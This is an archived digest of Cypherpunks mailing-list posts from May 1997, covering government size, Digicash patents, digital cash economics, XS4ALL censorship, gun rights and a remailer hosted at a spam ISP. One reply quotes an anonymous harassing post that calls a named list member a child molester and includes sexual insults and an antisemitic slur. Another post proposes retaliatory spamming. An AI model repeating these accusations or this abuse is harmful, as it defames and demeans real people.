"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 6 May 1997 06:17:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705051536.IAA12717@mail.pacifier.com>
Message-ID: <19970505142016.07466@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 08:32:17AM -0800, Jim Bell wrote:
> At 08:50 5/02/97 -0700, Kent Crispin wrote:
> >On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:
> 
> >The basic point, really, is that organizational complexity grows 
> >with the size of the organization, at a greater than linear rate.  
> >This is because organizational complexity is a function of 
> >interactions between members of the organization, which is at least 
> >n-squared.  (However, when you consider that alliances form and can 
> >interact, the true complexity grows at a much faster rate.) 
> 
> You seem to be taken with making all sorts of bare, unsupported claims,

I didn't bother to support that claim because it is trivially 
obvious.  For your benefit:

In *any* organization of size n there are obviously n squared one to
one personal relationships possible.  This is just mathematics.  (Oh,
to be really precise, n^2 - n, since the relationship with yourself
doesn't count).  However, any two people may form an alliance that may
have to be considered as a unit, likewise any three people, up to any
group of size n-1.  Clearly, any large group must impose some
structure to function as a group, otherwise the communication
complexity is overwhelming.  A frequent organization is a hierarchy,
or tree structure, and the standard rule of thumb is that a manager
should have around 7 direct subordinates.  This is all so 
basic...certainly it's kind of fluffy, because all social sciences 
seem kind of fluffy.  But the increase in complexity with 
organization size is observationally obvious, as well.  Compare big 
business to small business.  Compare Boy Scouts with your local 
street gang.

> obviously with the intention of explaining (for example) away what was
> apparently an INTENTIONAL increase in the size of Federal government between
> (say) 1932 and today.   
>
> To read your paragraph above, its increase in size was simply the
> unavoidable consequence of nature's laws or something akin to it.  Maybe a
> product of number theory, or the Fibbonacci sequence, exponential increase,
> or something like that.  Which would, if true, remove just about all the
> blame from those who were in control of the situation.
> 
> BULLSHIT!

I'm not into the blame game, in general -- you know the old saying
about not assuming malice when stupidity is an adequate explanation?
Blame is a waste of time, in general.  The only thing worth
considering is how to make things better, and sometimes I wonder 
about that. 

> Chances are good that at least 75% of the size of the US Federal government
> today is due to spending that wasn't considered the proper Constitutional
> function of the government before 1930, and certainly not before 1900 or so.
> (Large peacetime military, Socialist Insecurity, Welfare, Medicare,
> Medicaid, interest on national debt caused by deficit spending that occurred
> due to funding these previous atrocities, etc.)

So what?

One mans attempt to do social good is another man's atrocity, apparently, 
just as one persons freedom fighter is another persons terrorist.  
Any real government has to deal with the fact that people have 
different opinions.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 6 May 1997 03:39:32 +0800
To: Hal Finney <hal@rain.org>
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <Pine.SUN.3.91.970505145243.4838G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 4 May 1997, Hal Finney wrote:

> Presumably records are kept to protect against various risks.  Without
> that protection, you need other means to control the risk.  But if those
> means exist and they are cheaper than record-keeping, then again even
> without anonymity it should be cheaper to use those methods in place of
> the records.

Records are kept for (a) tax compliance, (b) as a way of further 
marketting spam that tracks usage/purchase patterns.  Presumably the 
marketting weasels require this info because of their belief that doing 
so will increase sales in the long run.

> (One possible explanation is that it would be a regulatory effect.
> People are forced by the government to keep records, to their detriment,
> that they would prefer not to keep.  With anonymous bearer certificates
> it would not be possible to keep the records so people might hope to
> escape the regulations.  However the problem with this reasoning is that
> the same forces which require the record-keeping would be likely to ban
> the use of instruments which prevent keeping records.)

I'd predict that in such cases mom & pop candy stores and small grocery 
stores wouldn't bother with record keeping, while big huge stores with 
marketting spam budgets would.

Though all things considered some record keeping is needed for inventory 
tracking, employee pay, etc.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 04:35:07 +0800
To: paul@fatmans.demon.co.uk (Paul Bradley)
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>
Message-ID: <199705052012.PAA14656@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


sounds like high time to get out of that country.

plus, in america programmers get paid a lot better than there.

igor

Paul Bradley wrote:
> 
> 
> 
> > > > A ban on all handguns even when registered (currently all pistols above 
> > > > .22 are banned and all guns have to be registered in a process whereby if 
> > > > the applicant for a certificate has any history of political dissention 
> > > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > > > certificate will be refused.
> > 
> > What would be an example of such political dissention?
> 
> Well, I`m pretty sure that, having recently been involved in campaigns 
> against the ban on handguns, written to a number of people in positions 
> of power over the proposed TTP scheme in the DTI white paper etc. my 
> firearms licence will not be renewed the next time it comes up for review.
> The powers that be now presumably see me as a loon.
> 
> A damning enditement on the British people is that last time I mentioned 
> to someone my having written to the home office and others over the 
> proposed gun ban I was called a lunatic and told "The sort of person who 
> writes to the home office over something like that is the least suitable 
> to have a gun".
> 
> I can assure you this is not a one-off, this happens every time people who 
> don`t shoot find out I do. They have been brainwashed by the 
> tabloid press, for example, the daily mail ran a particularly vitriolic 
> hate campaign against gun owners singling out Albie Fox, leader of the 
> campaign against the ban, and calling him a "Gun obsessed lunatic".
> This, recall, is the same daily mail which rants every day about the 
> "evil of drugs" and how the only way to "save society" is to throw 
> everyone who doesn`t support their particular brand of bigoted fanaticism 
> into jail for the rest of their life.
> 
> And of course, one would imagine that those who actually owned guns and 
> used them for sport themselves would be the most informed people who 
> would realise that the criminal use of guns is at the opposite end of the 
> scale to the sporting use allowed in British law. However, I know several 
> people who have said "I`m happy to give up my guns if it will save 
> lives", to this I simply reply "who were you going to kill?" then walk 
> away, these people don`t even deserve correcting as their bullshit is so 
> deep.
> 
> In addition, when the police revoke or refuse to renew a firearms 
> certificate, they do not need to give a reason, so one cannot even prove 
> that it was because of speech or opinions they didn`t like that they 
> revoked the certificate. Even if you could, it is unlikely a challenge in 
> court would succeed, the UK does not have the same free speech guarantees 
> as are given in the US and elsewhere, and any court challenge would fail, 
> of that I am sure.
> 
> Also, to worsen the situation, the labour party has now come to power and 
> as I have already explained in a previous post this make matters even worse.
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 6 May 1997 03:45:44 +0800
To: cypherpunks@toad.com
Subject: ISP fighting gov't on privacy issue
Message-ID: <3.0.1.32.19970505151732.006afb04@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

[From: CNET NEWS.COM]
 
ISP battles for rebels' rights
By Janet Kornblum [May 2, 1997, 12:45 p.m. PT] 

Todd Jagger, owner of what he calls the "world's smallest" Internet service
provider, doesn't like the secessionist Republic of Texas rebels. But he has
sued the state attorney general to protect their privacy.

The state attorney general's office, seeking to gain information about the
rebels, asked to see the records of ten Texas ISPs. Requested items included
copies of email and logs of Web site visitors for several groups calling for
Texas to split off from the United States.
.... 

See: http://www.news.com/News/Item/0%2C4%2C10327%2C00.html?nd


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Ll2QSYgrAD9xx0SWLpfGfQsjUJrlsGYsuJ6SiL/rfCCpNKpaD7hXwU0JtwrFdJLp
C6HQaHBrY3c=
=iCkV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 04:37:39 +0800
To: cypherpunks@toad.com
Subject: Re: Software patents
In-Reply-To: <3.0.32.19970429233202.0070b8e4@netcom13.netcom.com>
Message-ID: <v03020951af93e183673e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:41 am -0400 on 4/30/97, Lucky Green wrote:


> Anecdote: at a conference, I asked a patent attorney what strategy to
> follow if your patented technology is only happening in the client
> software. He looked at me like I was drooling on myself and said: "Uhm...
> Well... Then you have a problem."
>
> IANAL, but I suppose the best strategy for the owners of a shaky software
> patent would be to make people believe that their technology is patented in
> many more jurisdictions than it actually is.

I expect two things will happen with the blind signature patent. Either
Digicash licenses the patent  or they don't. :-).

If they do, they have a real good chance of actually making back all the
money they've wasted so far trying to figure out what kind of business they
should be in, which is, again, cryptography.

If they don't license the patent, they will either find a greater fool to
invest in further, um, personal growth, until the patent expires (likely to
me this afternoon, :-)), or someone will actually buy the patent out of the
rubble and hopefully license it.

Under no circumstances do I see any commercial use of the blind signature
patent without the unencumbered legal permission of that patent's owner
(whoever that ends up being). Even the threat of legal action, justified or
not, will sufficiently perturb the economics of starting up a digital
bearer certificate market to prevent any action in those markets without
the patent holder.


I think comparisons to VCRs are inappropriate, because every point of
digital cash exchange between the net and the meatspace finance world can
be slapped with an injunction, and, actual money, changing hands, will be
taken away from someone.

Contributory enfringement may or may not occur in the client, but the fact
is, a trusted thrid party, a financial intermediary, needs to underwrite
the negotiable instrument that a Chaumian digital cash certificate
represents. In order to be trustworthy, that underwriter needs a trustee,
and, for the time being, those trustees will be banks of deposit, subject
to all the state-monopolized "physical" law of meatspace, including patent
law.

Banks, in their current incarnation as account-based book-entry entries,
cannot ignore the law of nation states, because the very efficacy of their
transaction settlement schems requires the physical force of a nation state
to prevent non-repudiation of those transactions.

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Tue, 6 May 1997 01:34:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: XS4ALL censored pages (fwd)
Message-ID: <Pine.LNX.3.91.970505153525.1466A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



As we guessed XS4ALL don`t even have the guts to send us a copy of the 
pages they censored. Check this out...


>Dear Paul,

>>Postmaster,
>>
>>Please send me a copy of your current pricing for web space.
>>
>>Also, please send me a copy of the marajuana pages you recently removed 
>>from your web server.
>
>Hearby you recieve information about all services from xs4all.
>
>We don't know anything about marajuana pages so we can't send you a copy of
>that.
>
>Kind regards,
>

<Much pricing information and rattling of the stick in the swill bucket cut>


>XS4ALL Internet B.V.               Sales  afdeling:
>Postbus 1848                       Email: sales@xs4all.nl
>1000 BV Amsterdam                  Http://www.xs4all.nl/business
>         
>Tel: 020-6222885                   Fax: 020-5352002
>Ma. t/m vrij.			        van 12.00u tot 20.00u





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 05:26:03 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705052033.NAA26438@fat.doobie.com>
Message-ID: <199705052058.PAA15223@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
> Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
> An ISP whose reputation capital was already so LOW that another 
> gigabyte of flames to the postmaster wouldn't really be noticed.  
> The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
> or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
> accounts, but probably does, since money orders are more reliable than most 
> of his customers :-)  Also don't know how he'd respond to subpoenas and 
> warrants (probably quickly?) or wiretap requests (he's not a telco), 
> or how long before he'll be assassinated or banned or IDPd.
> 
> The bad news, of course, is that Spamford's negative reputation rubs off
> on the whole remailer system, and you risk a lot more spamming and
> anti-spammer attacks on your remailer (hence more administration work),
> and you risk raising Spamford's public image, and it does involve
> giving money to Spamford, which could be viewed as rewarding bad behaviour.
> You'd probably want to limit the remailer to one email destination per 
> message to cut down on spamming.
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

the problem with spamford is that many sites ignore everything (IP packets,
email messages, and so on) that comes from there.

algebra.com, for example, ignores all email from cyberpromo and all
affiliated domains.

If i discover that there is something useful taht comes out of there, *i*
may fine tune my setup, but do not hope that other sites will be as nice.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 04:56:18 +0800
To: cypherpunks@toad.com
Subject: Re: Insults about Vulis
In-Reply-To: <199705051953.NAA05074@wombat.sk.sympatico.ca>
Message-ID: <v0302095eaf93f35496ed@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:56 pm -0400 on 5/5/97, TruthMonger wrote:


>   Robert Hettinga belatedly proposed that it was he who
> suggested the idea to Sandy (about the same time that Bob was
> coming into some cash and reputation capital promoting C2Nut's
> pet projects).

What *I* want to know is, when do I get the TriLateral Commission
membership card (*and* secret decoder ring) I bought with all that cash.

I'm honored to be Mongered in such fine company.

Bob Hettinga
(who seems to have taken a cashflow "holiday" last year...)

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 6 May 1997 08:10:54 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <Pine.3.89.9705051657.A29826-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997, Ernest Hua wrote:
> I don't completely like the first amendment argument because it is
> solely based on claiming that software is, first and foremost,
> expression.  In fact, software has mechanism and side effect of
> mechanism.  If software were strictly expression, it is hard to
> imagine how a multi-billion industry could have spawned from such an
> inert practice.  Another example: one could argue that crafting an
> grenade launcher is artistic expression, but surely few would consider
> THAT argument when faced with such an "expressive" neighbor.

I concur. A citizen has the right to manufacture a grenade launcher under
the Second Amendment (irrespective of what judges scared into submission
by Roosevelt et al may have ruled), not the First. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 08:33:18 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Drifting toward 2nd Amendment arguments (Was: Responses to Tim May's criticism ...)
In-Reply-To: <Pine.3.89.9705051657.A29826-0100000@netcom19>
Message-ID: <199705060010.RAA00342@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > I don't completely like the first amendment argument because it is
> > solely based on claiming that software is, first and foremost,
> > expression.  In fact, software has mechanism and side effect of
> > mechanism.  If software were strictly expression, it is hard to
> > imagine how a multi-billion industry could have spawned from such an
> > inert practice.  Another example: one could argue that crafting an
> > grenade launcher is artistic expression, but surely few would consider
> > THAT argument when faced with such an "expressive" neighbor.
> 
> I concur. A citizen has the right to manufacture a grenade launcher under
> the Second Amendment (irrespective of what judges scared into submission
> by Roosevelt et al may have ruled), not the First.

This discussion is starting to drift away from the original point ...

I suspect that the Second Amendment was created strictly for the defense
of the citizenry from a tyrannical government.  I have a hard time with
"the right to sport shooting" argument, as there were no such mention in
the Amendment.  I think if one wants to argue the Second Amendment, one
should restrict the issues to genuine and effective civil defense against
a tyrannical government.  I would suspect that few would tolerate such
a sweeping right today, as it is hard to imagine what would constitute
genuine and effective civil defense against a tyrannical government given
the power of today's governments.

In some convoluted way, one could argue that encryption is one way to
defend ourselves against a tyrannical state as the state's power is held
in check if they cannot arbitrarily gather information on anything or
anyone.  Of course, to say that could effectively diminish the argument
for physical defense as one is effectively trusting the integrity of one's
interconnect to the NII/GII.  If you don't trust the government, you
certainly should have difficulty believing your ?II connection is safe and
sound.

I would really prefer to keep the follow up's to this message on private
E-Mail, as it is starting to get off-topic.  Thanks.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 6 May 1997 05:58:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Insults about C2Net
In-Reply-To: <v03007800af93ca8bcc21@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970505172748.4838J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997, Tim May wrote:

> But the C2Net flap is behind us. The continuing claims that it was C2Net
> which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
> receives his instructions from the Elders of Zion, relayed through the San
> Francisco representatives of the Bilderburgers.

Actually he recieved those instructions from the great Cthulhu himself 
while channeling the same in a fit of glossalia brought on by a diet 
consisting of way too many cypherpunks message of high spam content.
The fact that the very elder gods themselves have directed the hand of 
John in this matter is a very subtle hint at how silly Vulis is.

Why, the great Nyarlatheotep, the great, mad, blind god at the center of the
universe finds Vulis's constant spams a competitive threat to his quest for
chaos which is why he has asked Cthulu to send his minions at toad.com. 

Ia! Ia!  All hail Cthulu. :)

 -- Ray
 High priest of calamari, stir fried, not shaken.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 6 May 1997 06:01:08 +0800
To: ichudov@algebra.com
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705052058.PAA15223@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970505173714.4838K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997 ichudov@algebra.com wrote:

> > Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
> > An ISP whose reputation capital was already so LOW that another 
> > gigabyte of flames to the postmaster wouldn't really be noticed.  
> > The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
> > or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
> > accounts, but probably does, since money orders are more reliable than most 
> > of his customers :-)  Also don't know how he'd respond to subpoenas and 
> > warrants (probably quickly?) or wiretap requests (he's not a telco), 
> > or how long before he'll be assassinated or banned or IDPd.

> If i discover that there is something useful taht comes out of there, *i*
> may fine tune my setup, but do not hope that other sites will be as nice.

Well, here's a thought.  Let's pool some cash together and go off and 
spam cyberpromo from the inside.  Let's get an account there, turn it 
around and spam everyone and their mother at cyberpromo and their 
respective subdomains.   Wouldn't that be sweet revenge?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Tue, 6 May 1997 02:22:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rape, death and XS4ALL
Message-ID: <199705051650.SAA14830@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley sez:

: > Perhaps we should further expose XS4ALL's hypocricy by renting from the
: > web space and putting up some pages they won't like.

: I think this is an excellent idea, I`ll call or mail them in a few days 
: to find out their pricing structure.

30 Guilders a month (approx 17 USD a month)

you get 5mb for your homepage.
 
--
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 6 May 1997 10:30:44 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
Message-ID: <v02140b07af943b3689c9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> When one combines the transactional economic advantages of DBC: no customer
>> accounts, statement generation, little or no need for dispute resolution
>> and the economies of using the Net for settlement, with the still
>> considerable marketing costs, the likely differential between DBC and
>> CC/ACH is closer to one order of magnitude at best.
>
>Again, I still hold out for three or four.
>
>> This is still
>> considerable, however, and if properly branded and marketed could
>> significantly displace current competition, for lower value transactions.
>> The overhead of CC discounts is keenly watched by merchants.  If a trusted
>> DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
>> would get noticed quickly.
>
>Agreed. However, when it happens, it'll probably be more significant than
>that. I think removing 3 or 4 extra zeroes from the status quo is probably
>what people should try to do when developing this stuff. I think that the
>technology offers us at least that much slack, and probably more.
>
>Remember, it *is* supposed to change the world. :-).

If I grant that you're right that DBCs will be 3-4 orders of magnitude
cheaper than the book-entry approaches, and I'm ready yet, there is still
the issue of whether such savings can be quickly passed on to the merchant
and consumer, and thus spark this revoltion.

Consider this, if a DBC-based system were to garner 3% (about what it might
take to get noticed by the consumer, retail and business markets) of the
GDP's $4 trillion in transactions, or about $120 billion, and the
transaction fees were $0.0025, this would generate about $300 million in
fees.  This is about what Western Union International generates in fees, a
very respectable sized business.  But how much marketing and branding
expenditures would it take to get there?  All financial products which
attempted to reach a broad market and have a significant impact have
required, in the past, significant up-front marketing expenses (VISA
succeeded because BankAmericard spent in the $10s million per year range).
Unless the Net will enable a 3-4 orders of magnitude reduction in such
expenses, amounting to an historic bootstrap, it is difficult to see how
this will occur without a white knight.

A similar situation is occuring in cellular.  Prices are plummeting because
many new companies are building out competitive PCS networks and forward
pricing their services to gain market share and economies of scale.  These
new players have deep pockets (or are backed by those with deep pockets).
To wrench away the bank and credit card francshise from the established
players may require similar sized investments.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 6 May 1997 01:31:13 +0800
To: cypherpunks@toad.com
Subject: Re: Firewalls
Message-ID: <199705051712.TAA17277@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sun, 4 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Firewalls
Sender: owner-cypherpunks@cyberpass.net
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Sun, 4 May 1997, Anonymous wrote:

Vulis does you wife no you write this?

> Timmy Mayo the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of Graham-John Bullers' 
> clitoris, that barely makes a fistful. Thereby 
> hangs the root of this Jew-hating sissy's sick 
> fixation on little boys and Usenet forgeries.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timmy Mayo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 08:28:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <v0302096eaf9414e15d5a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:19 pm -0400 on 5/4/97, Hal Finney wrote:

> It is hard to understand why a system where it is impossible to track
> payments (Chaumian anonymity) is cheaper than one where it is possible
> to do so, but we choose not to.  If avoiding tracking payments is cheaper
> than tracking them, why wouldn't participants just not bother to track
> them even when they theoretically could?

I believe Greg Broiles and others have answered this sufficiently for now.

I'll vamp a little by saying, of course, that there's no way to tell until
the two methods of digital cash are actually measured. However, I'd, um,
bank, on the Chaumian variety, if the patents were ever unencumbered by
Digicash's unfortunate business model.

I'll also comment on the "information exaust" issue by saying that I agree
with Hal's hypothesis that one of the reasons that the information is there
is because of the non-repudiation requirements of government enforcement.
It behooves marketers to then leverage the cost distortion of the finance
department's data collection engine by adding in, at the margin, a little
additional data for processing. On the net, there will be no requirement
for this. The only people who need to keep books will be the meatspace
net-affiliated banks. The only books kept in putting money on the net or
taking it off, would be an aggregate number at the trustee, and the
withdrawls and deposits of people taking money on and off the net from
their respective personal and business bank accounts. The underwriter and
every transaction on the net, particularly those for information
(everything from music to surgery), do not need any transaction information
storage. A lot of incentive to keep money on the net, over time. Also, the
smaller the transaction size, the more important freedom from transaction
storage becomes. Again, the idea of micromoney "mitochondria", a
micropayment-settlement system for various internet resources, like SMTP,
or even bandwidth, comes to mind.


So, Tim and Ray also have right idea when they talk about how most small
businesses don't need all the information they're forced to collect by the
government for one reason or another. And, again, I claim that the net and
Moore's law creates *dis*economies of scale, probably to the microbusiness,
bot-sized, level, someday. And, the smaller the business entity, the less
information it really needs to operate. As you subdivide a market, the more
you trend towards perfect competition. (Of course, I mean "perfect
competition" in the commodity-price use of the phrase, where one soybean is
as good as any other. Fungible, in other words.) Branded soybeans are an
oxymoron, which is why you can buy and sell futures in them.


Finally, with the most abject apologies to the superior (with a brick, sir)
financial knowlege of Mr. Chrispin, the very best piece of information
about an efficient market for something is its most recent price.

No, I don't think this represents the end of the "marketing concept" as a
business model, but certainly when transaction cycles can be measured in
the microsecond range, a swarm of autonomous entities will probably do a
better job of fulfilling consumer wants than a multi-month top-down market
analysis by an MBA.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 6 May 1997 13:31:09 +0800
To: sunder@brainlink.com
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705060249.TAA09248@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Arachelian writes:
> Well, here's a thought.  Let's pool some cash together and go off and 
> spam cyberpromo from the inside.  Let's get an account there, turn it 
> around and spam everyone and their mother at cyberpromo and their 
> respective subdomains.   Wouldn't that be sweet revenge?

If vengance is your concern, this is a good idea. Neither vengance nor
righteousness is my concern, however.

Judgementally speaking, if you spam, you may not continue to condemn
spammers and be consistent.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

"If you are distressed by anything external, the pain is not due to the
thing itself, but to your estimate of it; and this you have the power
to revoke at any moment."                      - Marcus Aurelius, 121-180







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 08:34:36 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v02140b01af925860a90b@[10.0.2.15]>
